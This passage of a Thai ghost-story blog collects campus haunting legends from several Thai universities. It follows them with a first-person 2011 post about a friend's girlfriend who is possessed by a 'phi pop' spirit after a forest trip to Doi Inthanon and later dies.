คือเสียงลากตัวเองจากบันไดมาจนถึงหน้าห้องปรากฎเป็นรอยเปียกน้ำยาวติดต่อกันหลังจากส่งห่อลาดหน้าให้ได้แล้วก็หมดห่วง … ตอนแรกทุกคนไม่เชื่อที่นักศึกษาคนนั้นเล่า แต่หลังจากที่นักศึกษาที่พักอยู่ข้างๆ ห้องยืนยันว่า ในคืนนั้นก็ได้ยินเสียงดังกล่าวเช่นกัน 


จุฬาลงกรณ์มหาวิทยาลัย 
สถานที่เกิดเหตุ : ทางเดินระหว่างตึกของคณะสถาปัตยกรรมศาสตร์ 
ทางเดินที่ว่านี้มีประวัติอยู่ว่า สมัยก่อนมีคู่สามีภรรยานักการฯ ของคณะสถาปัตย์ ทะเลาะกัน ฝ่ายภรรยาควักปืนยิงสามีจนเสียชีวิต และมีเลือดสาดไปทั่วทั้งทางเดิน ต่อมาทางคณะมีการปรับปรุงพื้นบริเวณนี้ แต่แปลกที่เฉพาะทางเดินนี้เท่านั้นที่ปูนไม่ยอมแห้งส ักที ทางคณะจึงต้องปูไม้กระดานทับไว้อย่างที่เห็นกันในทุกวันนี้ หรือที่ห้องซ้อมดนตรีไทย คณะครุศาสตร์ เวลาที่มีคนแอบเข้าไปนอนหลับในห้องซ้อมดนตรีไทย จะรู้สึกเหมือนมีใครมาดึงขา ได้ยินเสียงเหมือนคนเดินไปเดินมา และได้กลิ่นธูป เมื่อถามรุ่นพี่ๆ ว่าเป็นอะไร คำตอบคือ เป็นฝีมือของเจ้าที่ที่ไม่ชอบให้ใครเข้ามานอนในห้องที่ใช้ซ้อมดนตรี ซึ่งเหตุการณ์นี้ยังคงเกิดขึ้นอยู่บ่อยๆ กับนักศึกษาปี 1 

มหาวิทยาลัยศิลปากร วิทยาเขตพระราชวังสนามจันทร์ จ . นครปฐม 
สถานที่เกิดเหตุ : หอเพชรรัตน์ 
หอเก่าแก่ในมหาวิทยาลัย ที่เล่าขานกันมาว่าครั้งหนึ่งมีนักศึกษานอนอยู่ในห้องพักคนเดียวได้ยินเสียงคนเดินมาช้าๆ จนเสียงนั้นเดินเข้ามาใกล้ๆ ห้องพัก นักศึกษาคนนั้นจึงมองลอดช่องตาข่ายมุ้งลวดออกไปดู ปรากฏว่าเห็นคนนุ่งโจงกระเบนสีแดงลากโซ่ตรวนเดินผ่านไป 

มหาวิทยาลัยราชภัฏบ้านสมเด็จเจ้าพระยา 
สถานที่เกิดเหตุ : ชั้น 15 ตึกคณะนิเทศศาสตร์ 
เมื่อ 10 กว่าปีก่อนมีนักศึกษาหญิงถูกข่มขืนและถูกฆ่าตายที่ชั ้น 15 ตึกคณะนิเทศศาสตร์ ทำให้ปัจจุบันนี้ไม่มีใครกล้าขึ้นไปชั้นนั้นคนเดียวในช่วงเย็น เพราะวันดีคืนดีอาจได้ยินเสียงผู้หญิงร้องไห้ หรือบางครั้งเข้าห้องน้ำแล้วมองออกไปที่กระจกก็จะเห็นผู้หญิงผมยาวยืนก้มหน้าอยู่ แต่พอเปิดประตูออกไปก็ไม่พบใคร 

มหาวิทยาลัยขอนแก่น 
สถานที่เกิดเหตุ : บริเวณป่ารกข้างหอ 9 หลัง 
เป็นจุดที่ไม่มีใครผ่าน มีเรื่องเล่าว่า เคยมีผู้หญิงถูกข่มขืนจนตายบริเวณนี้มาก่อน ทำให้บางคืนหากมีใครขับรถผ่านมา จู่ๆ รถก็จะกระตุกแล้วก็หยุดไปเลย เหมือนมีใครดึงรถอยู่ข้างหลัง เมื่อหันไปดูจะเห็นผู้หญิงหน้าขาวๆ ซีดๆ ดึงรถไว้ 

มหาวิทยาลัยราชภัฏสวนสุนันทา 
สถานที่เกิดเหตุ : โต๊ะตรงคณะอุตสาหกรรม 
ในบริเวณนั้นมักมีคนได้กลิ่นหอมของดอกไม้โบราณหอมแบบ เย็นๆ นอกจากนั้นยังได้ยินเสียงกระพรวนที่เท้าเด็กดัง เหมือนเล่นอยู่ที่ไหนสักแห่งใกล้ๆ หันไปหันมาจะเจอเด็กผมจุกนั่งอยู่บนต้นไม้ แต่ก็ไม่ได้ทำอะไร เพราะเขาแค่อยากชวนเล่นด้วย หรือที่ตึกคณะนิเทศศาสตร์ ดึกๆ จะมีคนเห็นผู้หญิงใส่ชุดขาวเดินไปเดินมา อาจเพราะบริเวณนี้ของมหาวิทยาลัยเป็นรั้ววังตั้งแต่ส มัยรัชกาลที่ 5 ครั้งที่ปลูกสร้างเสร็จใหม่ๆ ว่ากันว่าสวยงามราวเมืองสวรรค์ ภายในรอบบริเวณพระราชวังอบอวลไปด้วยหมู่ไม้ดอก ไม้ผล ร่มครึ้ม ทั่วบริเวณ 

มหาวิทยาลัยเกษตรศาสตร์ วิทยาเขตกำแพงแสน 
สถานที่เกิดเหตุ : หอพักนักศึกษา 
มีหอหนึ่งเคยเป็นโรงพยาบาลสมัยสงครามโลกครั้งที่ 2 วันดีคืนดีจะได้ยินเสียงคนเดินลากโซ่ตรวน และห้องน้ำหญิงรวมบางคืนจะมีเสียงคนอาบน้ำ แต่พอเดินไปดูไม่มีคนเลยสักคน และที่หอใน ชั้น 2 เคยมีนักศึกษาเสียชีวิตเนื่องจากเป็นไข้ทับฤดูตอนปิดซัมเมอร์ พอเปิดเทอมถึงมีคนเพิ่งจะพบศพ แต่หลังจากนั้นก็มีคนเห็นว่านักศึกษาคนนี้ยังมานั่งซักผ้าที่ห้องน้ำหน้าห้องอยู่เลย 
มหาวิทยาลัยกรุงเทพ วิทยาเขตกล้วยน้ำไท 
สถานที่เกิดเหตุ : ลิฟต์ที่อาคาร 9 
ใครที่ขึ้นลิฟต์นี้ตอนดึกๆ จะมีคนกดเรียกลิฟต์ขึ้นไปที่ชั้นบนสุด พอเปิดมาไม่เจอใคร แต่จะรู้สึกเหมือนมีคนเดินเข้ามา ตอนนั้นให้รู้ไว้เลยว่าเป็นคนงานที่ตกลิฟต์ลงมาตาย แต่เค้าจะขอลงด้วย หรือที่วิทยาเขตรังสิต ก็มีตำนานแกรนด์คอนโด เป็นที่ขึ้นชื่อมากในเรื่องผี ถ้าอยากเจอ กลางคืนให้หาเรื่องอยากกินนั่น นู่น นี่ แล้วเดินลงบันไดดู 

มหาวิทยาลัยนเรศวร 
สถานที่เกิดเหตุ : คณะวิทยาศาสตร์ 
คำบอกเล่าจาก อ . คณะวิทย์ ว่าหลังจากที่มียามถูกแทงตายเพราะทะเลาะกัน ก็มีการจับภาพวิญญาณไว้ได้ในกล้องวงจรปิดของคณะ โดยที่ยามคนนี้ยังแวะไปเยี่ยมเยียนนิสิตบางส่วนที่ชอบอยู่ดึกๆ ในตึกอีกด้วย อีกเรื่องเล่ารุ่นต่อรุ่นว่า ในวันบวงสรวงรับน้องใหม่ในปีหนึ่งมีน้องที่คณะพยาบาล เป็นลมเพราะเห็นกองทัพพระนเรศวรเดินทัพลอยมาจากบนฟ้า 

มหาวิทยาลัยศรีนครินทรวิโรฒ ประสานมิตร 
สถานที่เกิดเหตุ : ศาลาเขียว 
คณะมนุษยศาสตร์ เอกภาษาอังกฤษ มีศาลาประจำเอกคือ ศาลาเขียว ศาลานี้มีตำนานเล่าขานถึงที่มาของแผ่นป้ายที่ติดอยู่ ในศาลานั้นว่าทำมาจากต้นตะเคียน วันดีคืนดีจะมีผู้หญิงผมยาวๆ มานั่งอยู่เดียวดายในศาลา 

มหาวิทยาลัยเทคโนโลยีสุรนารี 
สถานที่เกิดเหตุ : ลานจอดรถยนต์เก่า และป่าละเมาะ 
ลานจอดรถยนต์ข้างศูนย์บรรณาสาร ( หอสมุด ) นี้ว่ากันว่าเป็นแดนประหารเก่า และว่ากันมาว่ามีพนักงานรักษาความปลอดภัยกะดึกคนหนึ่งเคยเห็นผีคอขาด เดินลากโซ่เสียงดังเกรียวกราวไปมา และถ้าดึกๆ ใครขับรถผ่านก็จะขนลุกโดยไม่มีสาเหตุ 

มหาวิทยาลัยรังสิต 
สถานที่เกิดเหตุ : หอชายเก่า 
ที่หอชายเก่าในช่วงที่ใกล้จะสร้างหอเสร็จ มีการติดตั้งลิฟต์ และคืนนั้นมีคนงานกินเหล้ากันตามปกติ จนกระทั่งตี 1 มีคนงานคนหนึ่งตกลงไปที่ชั้นล่างใต้ลิฟต์แล้วปีนขึ้น มาไม่ได้ เพราะความเมา และคนงานคนนั้นก็เลยถูกลิฟต์ทับ ในเวลาต่อมาหลังจากที่หอเปิดได้ไม่นานก็มีนักศึกษาเข้าอยู่เต็ม และหอนี้ไม่เคยปิดเป็นเวลา จึงมีนักศึกษาเข้า - ออกเป็นประจำ จนตี 2 ของคืนหนึ่ง มีนักศึกษากลับมาจากข้างนอกแล้วเดินขึ้นลิฟต์ตามปกติ หลังจากกดชั้นที่พัก ลิฟต์ก็เคลื่อนที่ไปได้สักพักแล้วก็หยุด พร้อมๆ กับไฟดับและมีเสียงร้องดังออกมาข้างนอก จากนั้นลิฟต์ก็เปิดออก

Wednesday, March 2, 2011

เข้าป่า โบราณว่า เห็นอะไร อย่าทัก

สวัสดีครับ ต้น กลับมาอีกแล้วเนอะ
เรื่องนี้ สด ๆ ร้อน ๆ เลย เพิ่งเกิดไปเมื่อ 15 วันที่ผ่านมานี้เอง

เรื่องมีอยู่ว่า ต้น รวมตัวกับเพื่อน ๆ ได้กลุ่มหนึ่ง ประมาณ 10 คน แล้วนั่งคุยกันว่า เด๋วหลังเสร็จงานจัดโปรแกรม ไปเที่ยวต่างจังหวัดกัน พองานเสร็จ ทุกอย่างลงตัว ก็เลยมานั่งคุยกันว่า ไปไหนดี เพื่อนคนหนึ่งพูดขึ้นว่า ไปดอยอินทรานนท์มั้ย แต่อีกคนบอกว่าฝนตก ไม่สนุกหรอกเข้าป่า พอคุยกันไปคุยกันมา ไม่ได้ข้อสรุป ต้นเลยบอก เอาตามที่เอ็งบอกนั้นละ ดอยอินทรานนท์ นั้นละ

พอได้ข้อสรุป ก็แยกย้ายไปเก็บข้าวของ ก็ขับรถไป พอไปถึงที่ ดอยอินทรานนท์ จอดรถเสร็จ ทุกคนหยิบกระเป๋าของตัวเอง แล้วเพื่อนผม จังหวะว่า พาแฟนไปเปลี่ยน บรรยากาศ พอเราเดินไปได้สักพัก ( นี้คือเดินอยู่ในป่าแล้วนะครับ ) แฟนเพื่อนผม ไปเจอสิ่งที่แบบว่า คล้าย ๆ กับ แก้วน้ำอะไรสักอย่างเนียละ เลยเดินไปจับ แล้วหยิงมาดู ก็ไม่มีอะไร พอหันไปตันไม้ต้นอื่น ก็มีสิ่งแบบเดียวกันอีก เลยหันมาบอกว่า รีบไปเถอะวะ มันจะมืดละ รีบเดินไปให้ถึงจุดกางเต้นเถอะ

พอเดินไปได้สักระยะหนึ่ง แฟนเพื่อนผมก็บอกว่า อ้าวเห้ย พวกเอ็งเห็นอะไรนั้นปะหายเข้าไปแล้วอะ บนต้นไม้ ทุกคนบอก เห้ย เข้าป่าเห็นอะไร อย่าทัก สิ่งดีก็มีไม่ดีก็มี รีบไปเถอะ มันโพ้เพ้แล้ว จากนั้นก็เดินแล้วก็เที่ยวตามปกติ แต่เรื่องมันมาเกิดตอนที่เดินทางกลับ

แฟนเพื่อนผมพูดขึ้นว่า ขอไปด้วยได้มั้ย เพื่อนผมเลยบอกว่า อ้าวไอห่า แฟนเอ็งเป็นไรว่า อยู่ ๆ บอกว่า ไปด้วยได้มั้ย เพื่อนผมเลยบอกว่า มาด้วยกันก็กลับด้วยกันดิ หรือว่าเอ็งจะอยู่เที่ยวกันต่อ 2 คน ผมได้ยินเสียงที่ตอบมาแบบช้า ว่า ขอบ บ คุณ ณ

ทุกคนหันมองหน้าแล้วเดินต่อ ต้นคิดในใจแล้วว่า มันต้องมีอะไรแน่เลย เพราะว่าทำไมตามัน ขวาง ๆ แปลก ๆ เหมือนไม่ใช่แฟนเพื่อนผม ที่ต้นรู้จัก พอกลับมาถึง กทม. ก็แยกย้ายกันกลับบ้าน เอาของไปเก็บ แล้วเดียวมาเจอ บ้านต้น นั่งกินสุรา กัน เพื่อนผมคนนั้นมันก็พาแฟนมันมานั่งด้วย แล้วต้นจำได้ติดตาเลยว่า ในวงมีไก้ต้มน้ำปลา กับ หอยแครงอยู่

แฟนเพื่อนผมบอก หิวข้าวจัง ต้นเลยบอกว่า เห้ยเอ็งไปตักข้าวมาให้แฟนเอ็งกินดิพอตักมาให้ก็ไม่กิน กินเข้าไปไม่ถึง 2 คำ แล้วบอกอิ่ม สุราหมดไป 1 กลม บ้างคนก็เดินไปเข้าห้องน้ำ บ้างคนออกไปคุยโทรศัพท์ ส่วนเพื่อนผม อีก 2 คนออกไปซื้อมาต่อ
ในวงไม่เหลือใคร นอกจาก แฟนเพื่อนต้น ทีแรกต้นก็ไม่ได้สนใจอะไร ก็นั่งคิดว่าแฟนเพื่อนต้น ปกติมัน เฮฮ่า นิหว่าทำไมวันนี้มันเงียบผิดปกติว่ะ

แล้วเพื่อนผมอีกคนที่ยืนคุยโทรศัพท์อยู่ก็เรียกต้นว่า เห้ยมาดูไรนี่ดิ เห็นเต็ม ๆ 2 ตาเลย ไก่ที่ว่างอยู่ แฟนเพื่อนผมกินแบบ ใส่มือฉีดอะ กระชาก ไม่ก็ไม่น่าแปลกอะ แค่กินไก่อาจจะกินไม่ถนัด แต่ที่แปลกคือ แฟนเพื่อนผมคนนี้ มันสำอางมาก ไม่มีทางที่จะดำแบบพวกต้นแน่ กินหมดเสร็จจะพูดยังไง เอาเป็นกินแบบสกปรก อะ

ก็ยังไม่สนใจอะไร แค่ดูแล้วมันแปลก ๆ ไป เท่าไรยังไม่ได้คิดไรมาก พอมา 2 วัน เพื่อนโทรมาบอกว่า แฟนมันชอบให้ซื้อของ สด ๆ ดิบ ๆ มาให้ บอกว่าจะเอาไว้ทำกับข้าว แต่พอเช้า ของที่ซื้อมาหายหมด ทุกคนเลยบอกว่า ผิดปกติแล้วละ

เลยรวมตัวกันแล้วบอกเพื่อนคนนั้นว่า วันนี้ไปซื้อมาอีกนะ แล้วมาแอบดูกันว่า มันเกิดอะไรขึ่น ผมที่ได้คือ แฟนมันลุกขึ้นมากลางดึก มาหยิบของพวกนั้นกินแบบ ไม่ใช่ตคนอย่าเรา ๆ กินอะครับ ที่เห็นอะ ต้นเลยบอกว่า ไม่ใช่แล้วอะ เลยบอก ลองเอาพระให้ใส่ พอให้พระใส่ ก็ปกติดีทุกอย่า พูดจารู้เรื่อง

ต้นก็ งง ว่าถ้าผีเข้าหรืออะไรยังไง เจอพระก็ต้อง ออกหมด แต่นี้ปกติ เลยบอกว่างั้นพาไปที ตำหนักอาจารย์ต้นแล้วกัน ไม่ขอบอกนะครับว่าที่ไหน พอไปถึงที่ ตำหนัก อาจารย์เลยถามว่า ไปโดนอะไรมา ก็เลยลอง ๆ เล่าให้ฟังว่า หน้าจะเป็นแบบนี้นะ

อาจารย์ต้นเลยบอกว่า แฟนเพื่อนเอ็ง โดนของดีแล้วละ สรุปง่าย ๆ เลยคือ ปอบผีฟ้า ที่เราเคยได้ยินชื่อหรือที่ชมกันตามทีวี นั้นละ ต้นยังบอกเลยว่า ปอบผีฟ้า ยังมีอยู่อีกหรอ อาจารย์ อาจารย์บอกว่ามีเยอะ ทางเหนือ พวกนี้จะอยู่ตามต้นไม้ ต้นเลยนึกขึ้นได้ ที่มันทักที่มันหยิบมา เลยเล่าให้เค้าฟังว่าแบบนี้ ๆ

แล้วก็บอกว่า ต้นเอาพระให้ใส่ก็ปกติดีนะ อาจารย์เลยบอกว่า พวกนี้ เป็นชนิดที่ว่าเก่งแล้ว แล้วที่เพื่อนเอ็งไปเจอเนีย ที่วาง ๆ ไว้ตามต้นไม้เนีย คือพวกที่แบบว่า ชนิดที่ว่า คนเลี้ยงเอาไม่อยู่แล้ว หรือที่เรียกว่า ขันแตก ประมาณนั้น

จากนั้น อาจารย์เลยบอกว่า ปิดหน้าต่าง ปิดประตูให้หมด แล้วจับแฟนเพื่อนผมให้ดี อาจารย์ก็ทำการ เรียกขวัญ แล้วก็เอาน้ำมนต์ ทำเหมือนในหนังเลย แล้วพอตนนั้นออกจากร่าง อาจารย์บอกว่า ทำใจได้เลย ไม่เกิน 3 วัน เสียชีวิต เพื่อนผมเลยบอกว่า ทำไมหรอครับ ออกไปแล้วทำไมแฟนผมต้องตายแล้ว อาจารย์ต้นเลยบอกว่า ตนนั้นมาสิงกินข้างในไปหมดแล้ว ที่แฟนเอ็งอยู่ใน เพราะว่า ผีปอบตนนี้ พอผีออกไป แฟนเอ็งก็เหมิอนร่างที่ไร้วินญาญแล้วละ

แล้วต้นเลยถามว่า ไม่มีวิธีช่วยเลยหรอครับ อาจารย์บอกว่า ไม่มีแล้วละ ทำใจซะเถอะ เกิดก็ต้องมีจาก มนุษย์ทุกคนเกิดมาต้องชดใช้กรรมทั้งนั้นละ เพื่อนผมเลยกอดแฟนมันแล้วร้องไห้แบบเด็กเลย ผมยังมานั่งคิดเลยว่าถ้าเกิดขึ้นกับครบครัวผมหรือคนรู้จัก เราจะทำอย่างไงดี จากนั้นไม่ได้ ได้ประมาณ 4 วัน แฟนเพื่อนผมก็เสียชีวิตลง ร.พ.ศิริราช ตรวจแล้วลงในบัตรมรณะว่า เครื่องในหยุดทำงานเฉียบพัน

ขอแสดงความเสียใจกับ กับครอบครัวผู้เสียชีวิตด้วยครับ

เจ้าหน้าที่มูลนิธิป่อเต็กตึ๊ง จำไว้ว่าพบเห็นสิ่งใดอย่าทักถึงบ้านหรืออะไรแล้วค่อยมาเล่าให้ฟัง ไม่งั้นอาจจะเป็นเหมือนเรื่องที่ต้นได้เล่าให้ฟังนะครับ